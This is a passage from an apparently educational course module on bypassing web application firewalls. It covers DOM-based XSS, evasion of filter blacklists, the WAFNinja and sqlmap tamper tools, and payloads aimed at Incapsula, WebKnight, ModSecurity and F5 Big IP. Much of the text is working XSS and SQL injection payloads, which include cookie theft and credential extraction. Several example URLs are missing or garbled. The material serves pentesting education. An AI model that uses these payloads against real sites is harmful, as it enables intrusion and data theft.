Securing WAF
DOM Based XSS
DOM based
XSS is another type of XSS that is also used widely, and we didn’t discuss it
in module 3. The DOM, or Document Object Model, is the structural format used
to represent
documents in a browser. The DOM enables dynamic scripts such as JavaScript to
reference components of the document such as a form field or a session cookie,
and it is also a security feature that limits scripts on differ- ent domains
from obtaining cookies for other domains. Now, the XSS attacks based on this is
when the payload that we inject is executed as a result of modifying the DOM
environment in the victim’s browser, so that the code runs in an unexpected
way. By this we mean that in contrast with the other two attacks, here the page
that the victim sees does not change, but the injected code is executed differently
because of the modifications that have been done in the DOM environment, that
we said earlier. In the other XSS attacks, we saw the injected code was placed
in the re- sponse page, so you can see the difference, and why we are examining
this type too.
Also, DOM-based XSS vulnerabilities can be executed
in many instances without the server being able to determine what is actually
being executed. This may make many of the general XSS filtering and detection
techniques, like the WAFs that we are examining, impotent to such attacks, and
this is why this attack is important to us. Let’s examine the following code,
from an e-shop that supports many currencies:
<select><script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8
)+"</OPTION>");
document.write("<OPTION
value=2>Dollar</OPTION>");
</script></select>
When we try to change the
currency in this website, the page is invoked with a URL like the following:
To perform a DOM-based XSS
attack in this URL, we can send the following link to the victim:
http://www.eshop.com/page.html?cur=<script>alert(document.cookie)</script>
When
the victim clicks on this link, the browser will ask for a different currency
but instead of supplying a currency value, it will give the following:
<script>alert(document.cookie)</script>
The server will respond by supplying the page with
this Javascript code in it. Next, the browser will create a DOM object for this
page, where the document.location object will contain the following:
The Javascript code in the page does not expect for
the parameter to contain HTML code, and because of that, it echoes it into the
page (DOM) at runtime. The page then constructs the page and executes the
script we supplied earlier into the script tags.
Despite that, in this attack the payload was not
embedded by the server in the HTTP response, it arrived at the server as part
of the request, so it is possible to be detected by an installed WAF, or server
side controls. To bypass the WAF and avoid sending the script to the server, we
have to keep in mind that the part in the URI after the # is not sent to the
server by the browser. By this, any code that it references, like the
document.cookie we used earlier, may be vulnerable to an attack that uses fragments,
and in this type of scenario the script is not sent to the server. The URL we
used in the previous attack can be transformed into:
which
executes the same script, but with the addition that the script is not being
sent to the server, so we have suc- cessfully bypassed a WAF of any type of
server side control. In this attack, the server will only see the URL, until
the page.html point.
Another interesting example is when a PDF file is
served to the browser, and if the Adobe Acrobat plugin renders the file, it may
have as a result to execute part of the fragment as JavaScript. Since the
JavaScript is executed in the context (DOM) of the current site, it is really
simple to exploit it, simply by finding a PDF link inside the website, for the
XSS condition to be met. Then we craft a link like the following:
Now, you can see that the attack
is more or less the same, but we are exploiting a different aspect of the
client side, and in this situation, if the victim has an outdated Acrobat
Reader installed, the script will be executed without going to the server. As
we can understand, DOM-based XSS is really dangerous and no WAF can filter it,
due to its nature.
Bypassing
Blacklists with JavaScript
There are countless ways that we can
create a JavaScript to bypass this type of protection, but let’s
now talk about the three different approaches
that we can use to bypass blacklists.
These are:
•
Brute Force: With this method, we are trying many payloads and
we expect some of these to execute. This is
the method that most of the tools that we talked about, and will talk about, are using, and it may be a good method for some type of filters, but as we said many times, these methods fail because automated tools can- not understand the context, and every attack’s context varies in each occasion.
•
Browser Bugs: As we said in the Adobe Acrobat XSS example, there are some ways to bypass a WAF by ex-
ploiting a bug in the target’s
browser. This is the last approach
that someone will use, because
we have to search for older browsers
with security issues,
addons that have security issues,
or even zero days, to be able to
exploit them and bypass the limitations that the WAF has added.
•
REG-EX reversing: The best approach in blacklist
bypassing is the reg-ex reversing.
As we have already said, WAFs rely on matching
the payloads we sent with the signatures they have stored in the database, and these signatures are in the form of complex regular
expressions. If the payload matches
any of these signatures (reg-ex)
the WAF triggers up, and as you can understand, the WAF doesn’t trigger
up if no signature matches our payload. In this method,
we try to reverse these WAF signatures, and once we know the black-list of the WAF, we can produce scripts and attacks
that can bypass all the filters and not trigger up the WAF. First of all, we
have to try and insert harmless tags
like <p>,
<h1> or <b> to see
if they are blocked from the WAF and see how they get rendered from it in the
HTTP response. We check the following:
•
Type of encoding applied
•
Striped
characters
•
Replaced
characters
•
Whole tag strip
We take note if any of these events happened and if
the filter stripped out the tags, we try to insert an open tag without a
closing character, for example, <p , <h1 or <b, and examine the HTTP
response of the WAF. If in this stage, the application has rendered correctly
the applied tag, it means that the reg-ex is looking for both opening and
closing brackets and doesn’t filter out the opening tag.
To
continue from these facts, we try some of the most common XSS scripts that most
of the WAFs are filtering out.
These can be:
<script>alert(‘test’)</script>
<script>alert(document.cookie)</script>
<script>prompt(1)</script>
<script>confirm
(1)</script>
These scripts can trigger a 403 forbidden page HTTP
response or a 500 Internal error, and it can strip it completely from the
response or a part of it. There are occasions where the WAF is only filtering
out the opening and closing script tag, and leaves all the other content
untouched. Also, as we saw earlier, WAF may filter out only the opening and
closing brackets, and leave all the other as is. To go to the next step, we use
the basics of encoding, and we try to mask the script tag by changing the case of
the letters of the script word in the tag. For example:
<sCrIpT>alert(‘test’)</SCript>
<sCRIpt>alert(document.cookie)</ScRiPt>
If
the WAF is case sensitive (which is not so rare), we go on and try the nested
script tags, where a WAF that is mak- ing only one check will filter the script
tag, but with the filtering of it, a new one will be generated and the script
will
succeed. So, for this example we are supplying something like
this:
<scr<script>ipt>alert(‘test’)</scr<script>ipt>
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
After
all these checks, let’s supply an <a href=””> tag and examine its response, and if the WAF is making the same checks, like it did
in the first step we saw, and if not,
we try to insert a JavaScript statement inside the href tag.
<a href=”javascript:alert(‘test’)”>Malicious Link</a>
Now
we have to check the response of this alteration, and if the WAF has filtered
out the JavaScript statement in the <a> tag or only stripped the
JavaScript, and if yes, we try to bypass this filter by playing with the case
of the let- ters, like we did earlier. If only the JavaScript keyword is
filtered out, there are plenty of ways that we can bypass this filter by encoding it.
To continue, we have to try an event handler to execute
JavaScript,
<a
href="google.com" onmouseover=alert(1)>Malicious Link</a>
And once more, we are checking if the event got
stripped out, or if the part “mouseover” after the “on” is only stripped, and
we try to insert an invalid event handler to check if the WAF is trying to
filter all the possible events, or only some of them. To do so, we give
something like this:
<a href="google.com"
onthewaveofthehand=alert(1)>Malicious Link</a>
If we are now able to inject this
event, it means that the WAF is only
filtering a bunch of events and not all of them. With HTML5, we have more than
150 event handlers that we can use JavaScript with, and there is a big change
of not filtering out all of them by the WAF.
One of the less commonly filtered out event handlers is the “onhash- change” and it can be used as follows:
<body/onhashchange=alert(1)><a href=#>maliciouslink
This was one of the approaches that someone can follow to bypass
a WAF, but not the only one.
There are moreways to test it that are due to
the liking and experience of the pentester and the
situations that he is
handling.
To conclude this section let’s
examine some situations, where we use some other commonly used tags that we can
use to inject JavaScript as we did earlier. Let’s start with some tags that
contain the src attribute. There are many tags that use this attribute and we
can test them in the following way:
<img src=image.jpg onmouseover=alert(1);>
<img/src=image.jpg onmouseover=alert(1);>
<video src=video.mp4 onmouseover=alert(1);></video>
<video/src=video.mp4 onmouseover=alert(1);></video>
As you can see here, we can add event
handlers in the tags that use src attributes and we can use it by separating
the tag from the src with a / . With this way we can
many times trick the WAF and bypass
it. Two other interesting tags that
use the src attribute are the iframe and the embedded, and to try and bypass a WAF, we can use them as follows:
<iframesrc="javascript:alert(“123”)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG
9jdW1lbnQuY29va2llKT4=">
<embed/src=//goo.gl/wrDiR>
You can
see that we can implement a JavaScript many more ways than we can think. In the
first one, we take off the space between the iframe and src, so the WAF cannot
identify them as keywords. In the second one, we see that we use again the /
for separation and we then use base64 to encode the event handler. If decoded,
it produces <body onmouseover=alert(document.cookie)>. Other attributes of some tags that we can use are
the poster and the data, that can be many times used to bypass a WAF, as they
tend not to block it as malicious. For example:
<video poster=javascript:alert(“123”)//></video>
<object
data="data:text/html;base64
,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG9jdW1lbnQuY29va2
llKT4=">
<object/data=//goo.gl/wrDiR>
You can see that we have used them
more or less the same way as with earlier scripts, which tells us that we can
have many alternative ways to try and bypass a WAF. Now, an attribute that is
proven not to be filtered by many WAFs is the formaction attribute, due to its
rare use. We can use it as follows:
<isindexformaction="JaVaScRiPt:alert(1)"
type=image>
<input
type="image" formaction=JAVAScript:alert(0)>
<form><button
formaction=javascript:alert(1)>…
As you can understand, it is impossible for a WAF
development team to gather all the possible variations that can be produced to
bypass a WAF. Here we only saw a bunch of attributes and tags that can be used
for this job, but the list continues, with some more examples for reference:
•
Background Attribute (table tag)
•
Data Attribute (object tag)
•
Code Attribute (applet,
embed tag etc.)
•
Action Attribute (form tag etc.)
Automating
WAF Bypassing
Until
now we saw some tools, like Nmap and WafW00f in the context of WAF
fingerprinting, but there is a big variety of tools out there that can help us
not only fingerprint but also bypass the target WAF. Automation is really
important,
because
we have to compare our results with the results of an automated tool to have a
different opinion available.
WAFNinja
WAFNinja is a Python written script,
which is one of the best tools for automated bypassing WAF. WAFNinja comes with
a variety of payloads and fuzzing strings, which are stored in a local database
file that comes with the tool. It is also created this way to be easily
expandable and simple to use. Also, it supports HTTP connections, with both GET
and POST requests and the use of cookies in order to access the pages that need
authorization. Finally, we have the choice to set up an intercepting proxy, but
we will not examine that in this chapter. We can simply download and run
WAFNinja on our Linux machine by executing the following:
git
clone https://github.com/khalilbijjou/WAFNinja
And from now on, inside
the folder of WAFNinja, we can run it by executing python wafninja.py. The logic of WAFNinja execution goes like this:
wafninja.py [-h]
[-v] {fuzz, bypass, insert-fuzz, insert-bypass, set-db} ...
And we can use the following functions:
•
Fuzz
– check which symbols and
keywords are allowed by the WAF.
•
Bypass – sends payloads from the database to the target.
•
insert-fuzz
– add a fuzzing string.
•
insert-bypass
– add a payload to the
bypass list.
•
set-db
– use another database
file. Useful to share the same database with
others.
Now the fuzz function does exactly the
same that we were talking about earlier. It reverse engineers the WAF rule set
by sending different symbols and keywords and analyzes the responses of every
request. We can produce an at- tack like this by executing the following:
python
wafninja.py fuzz -u
"http://www.website.com/index.php?id=FUZZ" -c
"phpsessid-
=cookie"
-t xss -o output.html
Here we used the following
options:
•
-u for the target URL
•
-c for the cookie we want to
use
•
-t for the type of attack (sql or xss)
•
-o for the output file that is saved in .html format
This
is a way of executing a fuzzing attack and we did it by giving the fuzz
function. To extend the fuzz strings more, we can add the insert-fuzz where we
can add a fuzzing string. And finally, the other really important function is
the bypassone, which bruteforces the WAF by enumerating payloads and sending
them to the target. It analyzes the re- sponse of every request and we can use
it as follows:
python wafninja.py bypass -u
"http://www.website.com/index.php" -p "Name=PA-
YLOAD&Submit=Submit" -c "phpsessid=cookie" -t xss -o
output.html
Here the
only different parameter is the -p which is used to send payloads through the
POST parameter. We can also extend the payloads with the addition of the
insert-bypass function. For more parameters and usage examples, please type
python wafninja.py -h to see the help page.
SQLMap
As we saw in Module 2, SQL injection is a really
important chapter of WAF and we can bypass it in many ways. But, of course, we
need an automated way to bypass it. For this reason, we are going to use
SQLMap, which we saw in a video of module 2, but we are going to use it in a
different way. First of all, SQLMap in general is an open source penetration
testing tool that automates the process of detecting and exploiting SQL
injection flaws and taking over of database servers. In this chapter, we are
going to see how we can use SQLmap to bypass WAFs and IDSs.
To
do so, we are going to use tamper scripts that alter the payloads sent to the
server automatically. In some cases, we might need to combine a few tamper
scripts together in order to fool the WAF, and we can find a full list of them
here:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/ . Let’s examine two
scripts that will target MySQL data- bases. These scripts will convert all
spaces to block comments with random text. To start SQLmap in Kali Linux, we
just execute sqlmap in a terminal window, and for tamper scripts
we use the –tamper option. For example:
sqlmap -u
‘http://192.168.85.128/dvwa/vulnerabilities/sqli/?id=1’ --cookie=’cookiehere’
--dbms "MySQL" --technique U -p id --tamper
"space2morehash.py"
The extended version of
space2hash.py tamper script we used here, the space2morehash.py, will also add
the com- ments in between certain function names and the parenthesis. Also, the
options we used are:
-u The URL we want to attack
--cookie=
Where we add the HTTP Cookie header value
-dbms The
option that forces the dbms that the server uses
--technique Specify which SQL
injection type to test for. (U is for union query-based)
-p Specify
the testable parameter
Of course, besides that,
to use the tamper scripts, we have to use the –tamper option followed by the
script name.
Now that we
executed SQLmap, the tamper script has replaced the spaces with the %23randomText%0A, which as we
can see is URL encoded. The functions CHAR(),
USER() and CONCAT() that we examined in
module 2, got changed to FUNCTION%23randomText%0A(),
because in our example it is identified that they were blocked by
the WAF.
To continue, two other interesting
tamper scripts that we can use and help automate the encoding processes are the
charencode.py and chardoubleencode.py. These are really useful scripts for
bypass, when the WAF is filtering out keywords. They can find the best way out,
and we can simply use them again with the –tamper option. An exam-
ple attack could be:
sqlmap.py -u
"http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cook- ie="security=low;
PHPSESSID=bb61j7e8jrsfd87s9037fsdgf3" -D dvwa –tables –tamper
“chardoubleencode.py”
We
use the second script, chardoublebleencode.py, if the application decodes the
URL with the request. The simple charencode.py, is the simple one that helps us
with encoding. Additionally, if the application is programmed in ASP/ASP.NET,
the charunicodeencode.py and percentage.py scripts can be used to hide the true
payload. An inter- esting characteristic of ASP is the ability to add as many
percentage signs as we want in between characters, so the following, AND 1=%%%%%%%%1, that we can see in image 3, is completely valid.
There are many tamper scripts in SQLmap that have their own use,
so you have to see what exists and use the proper script in each case. It is a really useful feature that
can be used easily and with good results.
Bypassing
WAF Practical Examples
Until
now, we have talked more about theory (not that this is bad) but we have seen
only a small amount of real at- tacks in WAFs, so now let’s examine some true
attacks on WAFs that are widely used, and are based on true vulner- abilities
found on them.
Keep in mind that these
vulnerabilities have been patched and will work only on outdated WAFs, we
cannot supply ways of bypassing a real WAF without informing the owner.
Imperva
Incapsula WAF
Incapsula
WAF provides solutions to protect websites against SQL Injections, cross site
scripting, illegal resource ac- cess, OWASP top ten threats, and web 2.0
threats including comment spam, fake registrations, site scraping and ma-
licious bots. It works by changing a website’s Domain Name System (DNS) to
route the website traffic through Incap- sula. Incapsula then filters out
malicious attacks from bots and website scrapers.
As we said in Module 1, one of the most used ways
to bypass WAFs is the HTTP parameter pollution and HTTP pa- rameter
fragmentation. So let’s take the
following example website that is protected by
Incapsula:
Because the parameter is the same, the website will
see the a parameter as “first,second”. To attack
this from what we know, let’s
change it to the following:
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
Now,
the page sees the a parameter as “‘/*,*/or/*,*/1=1/*,*/–+-“. As you can understand,
this can be eas- ily filtered out by
a WAF, and Incapsula handles these
attacks by combining all the parameters with the same name like the ASP does,
before passing it to the later stages. In this security measure, a
vulnerability has been found that allows the stage of normalization of the
parameters to create end results different than ASP does. So, if we say that
the attack link we provided earlier can be blocked by Incapsula, the following
can bypass it:
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
As you can see, after the parameter name there is a
null byte. Incapsula treats parameters followed by a null byte differently from
another parameter with the same character. So, a and a for Incapsula is a
different parameter. As a result, when combining the parameter with the same
name, it will not see a malicious string and it will not filter it out.
Now,
let’s continue with some XSS attacks in the same WAF. This WAF is
filtering correctly the common XSS strings that we used without any encoding,
like the <script>alert(document.cookie)</script>.
Also, trying to im- plement an event
handler in a simple HTML tag, is proven useless too, because it is filtered out
too. So, something like <a
href=”javascript:alert(‘test’)”> will
be filtered out, but to our surprise, something like this <img src=x onerror=”input”> is
not detected. So the aspect that is blocked is the JavaScript inside the event
han- dler and not the event handler alone.
The first way that has been found
to bypass this measure, is to use a mix of HTML, double-URL and Unicode encod-
ing. So, you can see that we had to dig deep to find a bypass in this WAF and
make many tests, but in the end there is always a way. Let’s now provide the
following:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%252
6%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
Now, this is the earlier payload <img src=x onerror=”input”> but with some alterations.
Also, this payload was encoded first by HTML and then by double-URL encoding.
Double-URL encoding works on specific servers that URL-decode the client’s input multiple times.
The second
XSS bypass, which is publicly available, is based on the JS-F**K, which is a
technique that has been intro- duced
to create JavaScripts with only 7 characters. So something like the following
will do the job:
<img/src="x"/onerror="[7 char payload goes
here]">
With this payload we can do
anything we want to the website, without the WAF blocking our actions, but the
only obstacle is the length, because most servers restrict the GET request URL
length. Nevertheless, the payload is a really good solution and can
successfully bypass the Imperva Incapsula WAF.
Aqtronix
WebKnight WAF
The
WebKnight WAF is an OpenSource WAF for IIS and other web servers, and it is
widely used. It is a really good solution, but of course we are here to bypass
it, and it has one of the most vulnerable filter rule set of all WAFs, but it
is trying to get better. Now two SQL payloads presented by OWASP, that could
bypass easily a WebKnight WAF,
are:
0 union(select 1,@@hostname,@@datadir)
0
union(select 1,username,password from(users))
As you can see, both of them disclose serious
personal information, with username and password included, and the payload
isn’t encoded at all. Also, this WAF is vulnerable to a JavaScript event
handler, the ontoggle that occurs when the user opens or closes the
<details> element, and it is supported on all browsers. For example:
<details
ontoggle=alert(document.cookie)>
Finally, we have another event handler, the onshow one,
that fires when a <menu> element is shown as a context menu, and works
only on the Firefox web browser. When a user right clicks, the script will be
executed, bypassing WebKnight XSS filter detection, and we can produce it, as
follows:
<div
contextmenu="xss">Right-Click Here<menu id="xss"
onshow="alert(1)">
ModSecurity
WAF
ModSecurity
is another open source WAF that is widely used, and takes security seriously,
with challenges that any- one can participate, and have as a result the
hardening of the WAF. The first vulnerability we are going to see on this WAF
is based on the null byte, that we have talked many times in this course. We
simply have to use the null byte inside the script tag. This will bypass the
WAF and perform the XSS attack without problems. For example:
<script>alert(document.cookie)</script>
ModSecurity fixed this issue by
applying a filter rule that strips all the null bytes from the input. The next
bypass tech- nique is based on the characters that browsers are treating as
space characters. Each browser has a different set of these characters which
you can see below:
•
IExplorer
= [0x09,0x0B,0x0C,0x20,0x3B]
•
Chrome
= [0x09,0x20,0x28,0x2C,0x3B]
•
Safari
= [0x2C,0x3B]
•
FireFox
= [0x09,0x20,0x28,0x2C,0x3B]
•
Opera
= [0x09,0x20,0x2C,0x3B]
•
Android = [0x09,0x20,0x28,0x2C,0x3B]
To exploit this, we are using one of these characters between the
onevent name attribute (like the onmouseover and ontoggle) and the equal sign character. ntoggle%0B%3D
So here we are watching the %0B which internet explorer
is handling as a space character, and
executes correctly the payload. As a practical example, we can give:
http://www.website.com/example.html?test=%3Cinput+onfocus%0B%3Dalert%281%29%3E&disable_
xss_defense=on&disable_browser_xss_defense=on
This is a real bypassing example
of an earlier version of ModSecurity WAF. Finally, let’s see a bypassing
example that works on environments that escape the user’s request three or more
times. An exploit to this approach of ModSecu-
rity, could be:
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
Let’s conclude by saying that most
of these techniques we examined with XSS attacks work on SQL Injection attacks
as well. So, for example, if we supply the following:
1+uni%0Bon+se%0Blect+1,2,3
it will bypass the ModSecurity WAF,
because it recognizes the %0B on Internet Explorer as a
space.
F5 Big IP
For our last
examples on WAF bypass, let’s examine the F5 Big IP, that is one of the most
advanced enterpricse level WAFs, but as you will see, even the best fall. The
first bypass method has to do with event handlers, the onwheel and onshow, with
the second one only working in the Firefox browser. For example:
<body style="height:1000px" onwheel=alert(“123”)>
<div
contextmenu="xss">Right-Click Here<menu id="xss"
onshow=alert(“123”)>
As you can see here, we have some pretty
simple payloads, with no encoding that succeeds in bypassing the F5 Big IP WAF.
Another way that we have analyzed and success in bypassing this WAF is with the
JS-F**K encoding, For ex- ample, in extension of the previous examples, we
have:
<body style="height:1000px" onwheel="[JS-F**k
Payload]">
<div
contextmenu="xss">Right-Click Here<menu id="xss"
onshow="[JS-F**k Payload]">
As you can understand, inside the
brackets we can use a JS-F*ck Payload, for example, if we want to give
alert(1), we would give the following:
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
)[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
Finally, the last bypass we are
going to see is like our first one with HTML encoding and double URL encoding.
With this method, the previous examples will transform to:
<body
style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu
id="xss" on- show="prom%25%32%33%25%32%36x70;t(1)"